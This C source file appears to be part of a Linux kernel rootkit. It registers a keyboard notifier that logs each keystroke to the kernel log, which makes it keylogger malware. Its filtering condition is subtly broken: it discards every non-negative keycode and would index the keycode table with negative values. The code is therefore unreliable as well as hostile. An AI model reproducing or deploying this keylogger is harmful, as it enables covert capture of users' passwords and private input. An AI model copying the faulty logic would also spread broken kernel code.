main.c

#include <linux/module.h>
#include <linux/init.h>

// Keyboard hook
#include <linux/keyboard.h>
#include <linux/semaphore.h>

#include "private.h"

MODULE_LICENSE("GPL");


int key_hook(struct notifier_block *nblock, unsigned long code, void *_param){
	struct keyboard_notifier_param *param = _param;

	if(0 <= param->value || param->value > 50000) return NOTIFY_OK;

	printk(KERN_INFO "%s", keycode[param->value]);

	return NOTIFY_OK;
}

static struct notifier_block keyboard_nb = {
	.notifier_call = key_hook
};

/* Module Init */
static int 
kit_init(void) {
	printk(KERN_INFO "Module Init!\n");

	// Mount keyboard hook
	register_keyboard_notifier(&keyboard_nb);
	
	return 0;
}

/* Module Exit */
static void 
kit_exit(void) {
	printk(KERN_INFO "Module Exit!\n");

	// Unmount keyboard hook
	unregister_keyboard_notifier(&keyboard_nb);
}

module_init(kit_init);
module_exit(kit_exit);